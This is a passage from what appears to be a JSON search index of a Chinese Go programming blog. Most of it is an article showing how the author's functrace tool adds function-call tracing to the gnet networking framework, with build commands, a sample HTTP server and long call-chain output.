– https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/06/28/understand-go-execution-tracer-by-example/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/understand-go-execution-tracer-by-example-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/06/28/understand-go-execution-tracer-by-example\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/06/28/understand-go-execution-tracer-by-example\"\u003ehttps://tonybai.com/2021/06/28/understand-go-execution-tracer-by-example\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eNetflix（奈飞公司）的性能架构师\u003ca href=\"http://www.brendangregg.com\"\u003eBrendan Gregg\u003c/a\u003e在其\u003ca href=\"https://book.douban.com/subject/34467459/\"\u003e《BPF Performance Tools》\u003c/a\u003e一书中对tracing、sampling等概念做了细致描述，以帮助开发人员理解这些概念，并基于这些概念对性能优化辅助工具进行分类，明确它们的适用场合。这里引用部分内容如下：\u003c/p\u003e","title":"通过实例理解Go Execution Tracer"},{"content":"\n本文永久链接 – https://tonybai.com/2021/06/04/go-source-analysis-with-functrace\n在《像跟踪分布式服务调用那样跟踪Go函数调用链》一文中，我们介绍了一种跟踪函数调用链的思路，并给出了一种实现functrace：https://github.com/bigwhite/functrace。这个小工具不仅仅是分享给大家的，我自己在工作和学习时也在使用。最近发现这个小工具在阅读和分析某个Go项目源码时也能起到关键的辅助作用。这里就和大家简单讲解一下如何用functrace来辅助Go源码阅读和分析。\n程序员的日常离不开“源码阅读和分析”，日常阅读代码的姿势无非是这么几种（或几种的组合）：\n结合源码编辑器或IDE提供的强大的源码交叉索引和跳转功能在一个庞大的源码库中建立起代码间的联系； 将代码跑起来，在代码中加上一些print输出，跟踪执行流并画出； 也有人喜欢用调试器从一点（通常是main）开始单步跟踪执行流。 无论哪一种方式，最终只要时间够长，态度到位，总是会将代码分析出个七七八八的。\n就笔者来看，无论是哪种范式：命令式、面向对象、函数式，最终梳理出来的源码脉络都是建立在执行基本单元(函数或方法)上，代码的执行主线（并发程序会有若干条）本质上就是一条函数/方法调用链。只要把这条链理出来，代码理解起来就不难了。上述的代码阅读方法实质也是参照这个逻辑的。只是对于调用层次较深，还伴随有回调的代码，梳理调用链难度高、效率低。\nfunctrace最初用于跟踪函数调用链（得益于Go核心开发团队公开的抽象语法树AST API），但如果在阅读代码时直接用functrace输出函数调用链，那将大幅提高我们源码阅读分析的效率。下面我们就用一个样例项目来试试如何用functrace梳理出代码的执行主线。\n我们以Go高性能、轻量级、非阻塞的事件驱动网络框架gnet为例，来看看如何阅读分析gnet的源码。首先我们需要安装functrace工具：\n$go install github.com/bigwhite/functrace/cmd/gen@latest go: downloading github.com/bigwhite/functrace v0.0.0-20210603024853-ccab68a2604c go: downloading golang.org/x/tools v0.0.0-20201204062850-545788942d5f $gen -h [gen -h] gen [-w] xxx.go -w write result to (source) file instead of stdout 接下来，我们下载要进行源码分析的gnet源码：\n$git clone git@github.com:panjf2000/gnet.git 我们进入gnet目录，现在我们可以使用gen命令为任意go源文件添加“跟踪设施”了，比如：\n$gen -w gnet.go [gen -w gnet.go] add trace for gnet.go ok $ git diff gnet.go diff --git a/gnet.go b/gnet.go index b4c04a5..a7afe2b 100644 --- a/gnet.go +++ b/gnet.go @@ -29,6 +29,7 @@ import ( \u0026#34;sync\u0026#34; \u0026#34;time\u0026#34; + \u0026#34;github.com/bigwhite/functrace\u0026#34; \u0026#34;github.com/panjf2000/gnet/errors\u0026#34; \u0026#34;github.com/panjf2000/gnet/internal\u0026#34; \u0026#34;github.com/panjf2000/gnet/internal/logging\u0026#34; ... ... 我们可以这样根据自己的需要在特定的go源文件上添加“跟踪设施”，但是多数情况下，我们也可以通过脚本为项目内所有go源文件批量添加“跟踪设施”，functrace项目提供了一个简单的脚本batch_add_trace.sh，下面我们就来通过该脚本将gnet下的go源文件批量加上函数跟踪设施：\n下载functrace源码：\n$git clone https://github.com/bigwhite/functrace.git 将functrace/scripts/batch_add_trace.sh 拷贝到上面gnet目录下并执行下面命令：\n# bash batch_add_trace.sh ... ... [gen -w ./server_unix.go] add trace for ./server_unix.go ok [gen -w ./internal/socket/sockopts_posix.go] add trace for ./internal/socket/sockopts_posix.go ok ... ... [gen -w ./ringbuffer/ring_buffer_test.go] add trace for ./ringbuffer/ring_buffer_test.go ok [gen -w ./ringbuffer/ring_buffer.go] add trace for ./ringbuffer/ring_buffer.go ok [gen -w ./pool/bytebuffer/bytebuffer.go] no trace added for ./pool/bytebuffer/bytebuffer.go [gen -w ./pool/goroutine/goroutine.go] add trace for ./pool/goroutine/goroutine.go ok [gen -w ./pool/ringbuffer/ringbuffer.go] add trace for ./pool/ringbuffer/ringbuffer.go ok [gen -w ./loop_linux.go] add trace for ./loop_linux.go ok [gen -w ./server_windows.go] add trace for ./server_windows.go ok 接下来我们编写一个基于gnet的程序，我们就使用gnet参加TechEmpower的那份代码：\n//main.go package main import ( \u0026#34;bytes\u0026#34; \u0026#34;flag\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;time\u0026#34; \u0026#34;github.com/panjf2000/gnet\u0026#34; ) type httpServer struct { *gnet.EventServer } type httpCodec struct { delimiter []byte } func (hc *httpCodec) Encode(c gnet.Conn, buf []byte) (out []byte, err error) { return buf, nil } func (hc *httpCodec) Decode(c gnet.Conn) (out []byte, err error) { buf := c.Read() if buf == nil { return } c.ResetBuffer() // process the pipeline var i int pipeline: if i = bytes.Index(buf, hc.delimiter); i != -1 { out = append(out, \u0026#34;HTTP/1.1 200 OK\\r\\nServer: gnet\\r\\nContent-Type: text/plain\\r\\nDate: \u0026#34;...) out = time.Now().AppendFormat(out, \u0026#34;Mon, 02 Jan 2006 15:04:05 GMT\u0026#34;) out = append(out, \u0026#34;\\r\\nContent-Length: 13\\r\\n\\r\\nHello, World!\u0026#34;...) buf = buf[i+4:] goto pipeline } // request not ready, yet return } func (hs *httpServer) OnInitComplete(srv gnet.Server) (action gnet.Action) { log.Printf(\u0026#34;HTTP server is listening on %s (multi-cores: %t, loops: %d)\\n\u0026#34;, srv.Addr.String(), srv.Multicore, srv.NumEventLoop) return } func (hs *httpServer) React(frame []byte, c gnet.Conn) (out []byte, action gnet.Action) { // handle the request out = frame return } func init() { runtime.GOMAXPROCS(runtime.NumCPU() * 2) } func main() { var port int var multicore bool // Example command: go run main.go --port 8080 --multicore=true flag.IntVar(\u0026amp;port, \u0026#34;port\u0026#34;, 8080, \u0026#34;server port\u0026#34;) flag.BoolVar(\u0026amp;multicore, \u0026#34;multicore\u0026#34;, true, \u0026#34;multicore\u0026#34;) flag.Parse() http := new(httpServer) hc := \u0026amp;httpCodec{delimiter: []byte(\u0026#34;\\r\\n\\r\\n\u0026#34;)} // Start serving! log.Fatal(gnet.Serve(http, fmt.Sprintf(\u0026#34;tcp://:%d\u0026#34;, port), gnet.WithMulticore(multicore), gnet.WithCodec(hc))) } 构建这份代码：\n$go mod init gnet-demo $go get github.com/panjf2000/gnet go: downloading github.com/panjf2000/gnet v1.4.5 go get: added github.com/panjf2000/gnet v1.4.5 //修改go.mod，使用replace让gnet-demo使用本地的gnet代码 $cat go.mod module gnet-demo go 1.16 replace github.com/panjf2000/gnet =\u0026gt; /root/go/src/github.com/panjf2000/gnet require ( github.com/panjf2000/gnet v1.4.5 ) $go get github.com/bigwhite/functrace go get: added github.com/bigwhite/functrace v0.0.0-20210603024853-ccab68a2604c $go build -tags trace //-tags trace务必不能省略，这个是开启functrace的关键 构建后，我们来执行构建出的可执行程序：gnet-demo：\n$ go build -tags trace root@VM-0-12-ubuntu:~/test/go/gnet-demo# ./gnet-demo g[01]: -\u0026gt;github.com/panjf2000/gnet/internal/socket.maxListenerBacklog g[01]: \u0026lt;-github.com/panjf2000/gnet/internal/socket.maxListenerBacklog g[01]: -\u0026gt;github.com/panjf2000/gnet/ringbuffer.New g[01]: \u0026lt;-github.com/panjf2000/gnet/ringbuffer.New g[01]: -\u0026gt;github.com/panjf2000/gnet/internal/logging.init.0 g[01]: \u0026lt;-github.com/panjf2000/gnet/internal/logging.init.0 g[01]: -\u0026gt;github.com/panjf2000/gnet.WithMulticore g[01]: \u0026lt;-github.com/panjf2000/gnet.WithMulticore g[01]: -\u0026gt;github.com/panjf2000/gnet.WithCodec g[01]: \u0026lt;-github.com/panjf2000/gnet.WithCodec g[01]: -\u0026gt;github.com/panjf2000/gnet.Serve g[01]: -\u0026gt;github.com/panjf2000/gnet.loadOptions g[01]: \u0026lt;-github.com/panjf2000/gnet.loadOptions g[01]: -\u0026gt;github.com/panjf2000/gnet.parseProtoAddr g[01]: \u0026lt;-github.com/panjf2000/gnet.parseProtoAddr g[01]: -\u0026gt;github.com/panjf2000/gnet.initListener g[01]: -\u0026gt;github.com/panjf2000/gnet.(*listener).normalize g[01]: -\u0026gt;github.com/panjf2000/gnet/internal/socket.TCPSocket g[01]: -\u0026gt;github.com/panjf2000/gnet/internal/socket.tcpSocket g[01]: -\u0026gt;github.com/panjf2000/gnet/internal/socket.getTCPSockaddr g[01]: -\u0026gt;github.com/panjf2000/gnet/internal/socket.determineTCPProto g[01]: \u0026lt;-github.com/panjf2000/gnet/internal/socket.determineTCPProto g[01]: \u0026lt;-github.com/panjf2000/gnet/internal/socket.getTCPSockaddr g[01]: -\u0026gt;github.com/panjf2000/gnet/internal/socket.sysSocket g[01]: \u0026lt;-github.com/panjf2000/gnet/internal/socket.sysSocket g[01]: -\u0026gt;github.com/panjf2000/gnet/internal/socket.SetNoDelay g[01]: \u0026lt;-github.com/panjf2000/gnet/internal/socket.SetNoDelay g[01]: \u0026lt;-github.com/panjf2000/gnet/internal/socket.tcpSocket g[01]: \u0026lt;-github.com/panjf2000/gnet/internal/socket.TCPSocket g[01]: \u0026lt;-github.com/panjf2000/gnet.(*listener).normalize g[01]: \u0026lt;-github.com/panjf2000/gnet.initListener g[01]: -\u0026gt;github.com/panjf2000/gnet.serve 2021/06/03 14:53:30 HTTP server is listening on :8080 (multi-cores: true, loops: 1) g[01]: -\u0026gt;github.com/panjf2000/gnet.(*server).start g[01]: -\u0026gt;github.com/panjf2000/gnet.(*server).activateReactors g[01]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll.OpenPoller g[01]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll.(*Poller).AddRead g[01]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll.(*Poller).AddRead g[01]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll/queue.NewLockFreeQueue g[01]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll/queue.NewLockFreeQueue g[01]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll.OpenPoller g[01]: -\u0026gt;github.com/panjf2000/gnet.(*roundRobinLoadBalancer).register g[01]: \u0026lt;-github.com/panjf2000/gnet.(*roundRobinLoadBalancer).register g[01]: -\u0026gt;github.com/panjf2000/gnet.(*server).startSubReactors g[01]: -\u0026gt;github.com/panjf2000/gnet.(*roundRobinLoadBalancer).iterate g[01]: \u0026lt;-github.com/panjf2000/gnet.(*roundRobinLoadBalancer).iterate g[01]: \u0026lt;-github.com/panjf2000/gnet.(*server).startSubReactors g[01]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll.OpenPoller g[01]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll.(*Poller).AddRead g[01]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll.(*Poller).AddRead g[01]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll/queue.NewLockFreeQueue g[01]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll/queue.NewLockFreeQueue g[01]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll.OpenPoller g[01]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll.(*Poller).AddRead g[01]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll.(*Poller).AddRead g[01]: \u0026lt;-github.com/panjf2000/gnet.(*server).activateReactors g[01]: \u0026lt;-github.com/panjf2000/gnet.(*server).start g[01]: -\u0026gt;github.com/panjf2000/gnet.(*server).stop g[01]: -\u0026gt;github.com/panjf2000/gnet.(*server).waitForShutdown g[07]: -\u0026gt;github.com/panjf2000/gnet.(*server).activateMainReactor g[07]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll.(*Poller).Polling g[07]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll.newEventList g[07]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll.newEventList g[06]: -\u0026gt;github.com/panjf2000/gnet.(*server).activateSubReactor g[06]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll.(*Poller).Polling g[06]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll.newEventList g[06]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll.newEventList 我们看到gnet的执行主线被清晰的打印出来，通过输出的函数所在包我们可以轻松找到对应的源文件。g[01]这goroutine显然是main goroutine，整个程序的初始化线索通过跟踪g[01]的函数链便一目了然。\n如果我们要看gnet是如何处理一个外部链接的，我们可以向gnet-demo建立一个连接，看看gnet-demo的输出。\n我们通过curl命令向gnet-demo发起一个http请求：\n$curl localhost:8080 Hello, World! gnet-demo输出：\ng[07]: -\u0026gt;github.com/panjf2000/gnet.(*server).acceptNewConnection g[07]: -\u0026gt;github.com/panjf2000/gnet/internal/socket.SockaddrToTCPOrUnixAddr g[07]: -\u0026gt;github.com/panjf2000/gnet/internal/socket.sockaddrInet6ToIPAndZone g[07]: -\u0026gt;github.com/panjf2000/gnet/internal/socket.ip6ZoneToString g[07]: \u0026lt;-github.com/panjf2000/gnet/internal/socket.ip6ZoneToString g[07]: \u0026lt;-github.com/panjf2000/gnet/internal/socket.sockaddrInet6ToIPAndZone g[07]: \u0026lt;-github.com/panjf2000/gnet/internal/socket.SockaddrToTCPOrUnixAddr g[07]: -\u0026gt;github.com/panjf2000/gnet.(*roundRobinLoadBalancer).next g[07]: \u0026lt;-github.com/panjf2000/gnet.(*roundRobinLoadBalancer).next g[07]: -\u0026gt;github.com/panjf2000/gnet.newTCPConn g[07]: -\u0026gt;github.com/panjf2000/gnet/pool/ringbuffer.Get g[07]: -\u0026gt;github.com/panjf2000/gnet/pool/ringbuffer.(*Pool).Get g[07]: -\u0026gt;github.com/panjf2000/gnet/ringbuffer.New g[07]: \u0026lt;-github.com/panjf2000/gnet/ringbuffer.New g[07]: \u0026lt;-github.com/panjf2000/gnet/pool/ringbuffer.(*Pool).Get g[07]: \u0026lt;-github.com/panjf2000/gnet/pool/ringbuffer.Get g[07]: -\u0026gt;github.com/panjf2000/gnet/pool/ringbuffer.Get g[07]: -\u0026gt;github.com/panjf2000/gnet/pool/ringbuffer.(*Pool).Get g[07]: -\u0026gt;github.com/panjf2000/gnet/ringbuffer.New g[07]: \u0026lt;-github.com/panjf2000/gnet/ringbuffer.New g[07]: \u0026lt;-github.com/panjf2000/gnet/pool/ringbuffer.(*Pool).Get g[07]: \u0026lt;-github.com/panjf2000/gnet/pool/ringbuffer.Get g[07]: \u0026lt;-github.com/panjf2000/gnet.newTCPConn g[07]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll.(*Poller).Trigger g[07]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll/queue.(*lockFreeQueue).Enqueue g[07]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll/queue.load g[07]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll/queue.load g[07]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll/queue.load g[07]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll/queue.load g[07]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll/queue.load g[07]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll/queue.load g[07]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll/queue.cas g[07]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll/queue.cas g[07]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll/queue.cas g[07]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll/queue.cas g[07]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll/queue.(*lockFreeQueue).Enqueue g[07]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll.(*Poller).Trigger g[07]: \u0026lt;-github.com/panjf2000/gnet.(*server).acceptNewConnection g[07]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll.(*eventList).shrink g[07]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll.(*eventList).shrink g[06]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll/queue.(*lockFreeQueue).Dequeue g[06]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll/queue.load g[06]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll/queue.load g[06]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll/queue.load g[06]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll/queue.load g[06]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll/queue.load g[06]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll/queue.load g[06]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll/queue.load g[06]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll/queue.load g[06]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll/queue.cas g[06]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll/queue.cas g[06]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll/queue.(*lockFreeQueue).Dequeue g[06]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll.(*Poller).AddRead g[06]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll.(*Poller).AddRead g[06]: -\u0026gt;github.com/panjf2000/gnet.(*eventloop).loopOpen g[06]: -\u0026gt;github.com/panjf2000/gnet.(*eventloop).addConn g[06]: \u0026lt;-github.com/panjf2000/gnet.(*eventloop).addConn g[06]: -\u0026gt;github.com/panjf2000/gnet.(*EventServer).OnOpened g[06]: \u0026lt;-github.com/panjf2000/gnet.(*EventServer).OnOpened g[06]: -\u0026gt;github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).IsEmpty g[06]: \u0026lt;-github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).IsEmpty g[06]: -\u0026gt;github.com/panjf2000/gnet.(*eventloop).handleAction g[06]: \u0026lt;-github.com/panjf2000/gnet.(*eventloop).handleAction g[06]: \u0026lt;-github.com/panjf2000/gnet.(*eventloop).loopOpen g[06]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll/queue.(*lockFreeQueue).Dequeue g[06]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll/queue.load g[06]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll/queue.load g[06]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll/queue.load g[06]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll/queue.load g[06]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll/queue.load g[06]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll/queue.load g[06]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll/queue.load g[06]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll/queue.load g[06]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll/queue.(*lockFreeQueue).Dequeue g[06]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll/queue.(*lockFreeQueue).Empty g[06]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll/queue.(*lockFreeQueue).Empty g[06]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll.(*eventList).shrink g[06]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll.(*eventList).shrink g[06]: -\u0026gt;github.com/panjf2000/gnet.(*eventloop).loopRead g[06]: -\u0026gt;github.com/panjf2000/gnet.(*conn).read g[06]: -\u0026gt;github.com/panjf2000/gnet.(*conn).Read g[06]: -\u0026gt;github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).IsEmpty g[06]: \u0026lt;-github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).IsEmpty g[06]: \u0026lt;-github.com/panjf2000/gnet.(*conn).Read g[06]: -\u0026gt;github.com/panjf2000/gnet.(*conn).ResetBuffer g[06]: -\u0026gt;github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).Reset g[06]: \u0026lt;-github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).Reset g[06]: \u0026lt;-github.com/panjf2000/gnet.(*conn).ResetBuffer g[06]: \u0026lt;-github.com/panjf2000/gnet.(*conn).read g[06]: -\u0026gt;github.com/panjf2000/gnet.(*EventServer).PreWrite g[06]: \u0026lt;-github.com/panjf2000/gnet.(*EventServer).PreWrite g[06]: -\u0026gt;github.com/panjf2000/gnet.(*conn).write g[06]: -\u0026gt;github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).IsEmpty g[06]: \u0026lt;-github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).IsEmpty g[06]: \u0026lt;-github.com/panjf2000/gnet.(*conn).write g[06]: -\u0026gt;github.com/panjf2000/gnet.(*conn).read g[06]: -\u0026gt;github.com/panjf2000/gnet.(*conn).Read g[06]: -\u0026gt;github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).IsEmpty g[06]: \u0026lt;-github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).IsEmpty g[06]: \u0026lt;-github.com/panjf2000/gnet.(*conn).Read g[06]: -\u0026gt;github.com/panjf2000/gnet.(*conn).ResetBuffer g[06]: -\u0026gt;github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).Reset g[06]: \u0026lt;-github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).Reset g[06]: \u0026lt;-github.com/panjf2000/gnet.(*conn).ResetBuffer g[06]: \u0026lt;-github.com/panjf2000/gnet.(*conn).read g[06]: -\u0026gt;github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).Write g[06]: \u0026lt;-github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).Write g[06]: \u0026lt;-github.com/panjf2000/gnet.(*eventloop).loopRead g[06]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll.(*eventList).shrink g[06]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll.(*eventList).shrink g[06]: -\u0026gt;github.com/panjf2000/gnet.(*eventloop).loopRead g[06]: -\u0026gt;github.com/panjf2000/gnet.(*eventloop).loopCloseConn g[06]: -\u0026gt;github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).IsEmpty g[06]: \u0026lt;-github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).IsEmpty g[06]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll.(*Poller).Delete g[06]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll.(*Poller).Delete g[06]: -\u0026gt;github.com/panjf2000/gnet.(*eventloop).addConn g[06]: \u0026lt;-github.com/panjf2000/gnet.(*eventloop).addConn g[06]: -\u0026gt;github.com/panjf2000/gnet.(*EventServer).OnClosed g[06]: \u0026lt;-github.com/panjf2000/gnet.(*EventServer).OnClosed g[06]: -\u0026gt;github.com/panjf2000/gnet.(*conn).releaseTCP g[06]: -\u0026gt;github.com/panjf2000/gnet/pool/ringbuffer.Put g[06]: -\u0026gt;github.com/panjf2000/gnet/pool/ringbuffer.(*Pool).Put g[06]: -\u0026gt;github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).Len g[06]: \u0026lt;-github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).Len g[06]: -\u0026gt;github.com/panjf2000/gnet/pool/ringbuffer.index g[06]: \u0026lt;-github.com/panjf2000/gnet/pool/ringbuffer.index g[06]: -\u0026gt;github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).Reset g[06]: \u0026lt;-github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).Reset g[06]: \u0026lt;-github.com/panjf2000/gnet/pool/ringbuffer.(*Pool).Put g[06]: \u0026lt;-github.com/panjf2000/gnet/pool/ringbuffer.Put g[06]: -\u0026gt;github.com/panjf2000/gnet/pool/ringbuffer.Put g[06]: -\u0026gt;github.com/panjf2000/gnet/pool/ringbuffer.(*Pool).Put g[06]: -\u0026gt;github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).Len g[06]: \u0026lt;-github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).Len g[06]: -\u0026gt;github.com/panjf2000/gnet/pool/ringbuffer.index g[06]: \u0026lt;-github.com/panjf2000/gnet/pool/ringbuffer.index g[06]: -\u0026gt;github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).Reset g[06]: \u0026lt;-github.com/panjf2000/gnet/ringbuffer.(*RingBuffer).Reset g[06]: \u0026lt;-github.com/panjf2000/gnet/pool/ringbuffer.(*Pool).Put g[06]: \u0026lt;-github.com/panjf2000/gnet/pool/ringbuffer.Put g[06]: \u0026lt;-github.com/panjf2000/gnet.(*conn).releaseTCP g[06]: \u0026lt;-github.com/panjf2000/gnet.(*eventloop).loopCloseConn g[06]: \u0026lt;-github.com/panjf2000/gnet.(*eventloop).loopRead g[06]: -\u0026gt;github.com/panjf2000/gnet/internal/netpoll.(*eventList).shrink g[06]: \u0026lt;-github.com/panjf2000/gnet/internal/netpoll.(*eventList).shrink 通过gnet-demo输出，我们可以清晰看到gnet接收一个连接，在这个连接上读写以及关闭这个连接的函数调用链，有了这个链条，我们再来阅读gnet源码就轻松许多了，即便有回调函数也没有问题。\n上面输出的函数调用链的内容已经很多了。但如果你还不满足于这些，比如我还要跟踪到gnet依赖的golang.org/x/sys中，那可以利用相同思路，将golang.org/x/sys下载到本地，并通过functrace添加跟踪设施，并在gnet-demo中用replace换掉golang.org/x/sys，让其指向本地的sys包代码。如果觉得信息太多，可以通过gen命令做单个必要go源文件的跟踪信息添加，而不必要用批量方式。进一步的跟踪sys包的函数调用链的作业就留给大家了，这里就不深入了。\n代码阅读完成后，我们只需在gnet目录下执行如下命令便可以恢复gnet原来的面貌：\n$git checkout . “Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/06/04/go-source-analysis-with-functrace/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/go-source-analysis-with-functrace-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/06/04/go-source-analysis-with-functrace\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/06/04/go-source-analysis-with-functrace\"\u003ehttps://tonybai.com/2021/06/04/go-source-analysis-with-functrace\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在\u003ca href=\"https://mp.weixin.qq.com/s/zrM0I-CsEujAm6ho6AD79g\"\u003e《像跟踪分布式服务调用那样跟踪Go函数调用链》\u003c/a\u003e一文中，我们介绍了一种跟踪函数调用链的思路，并给出了一种实现\u003ca 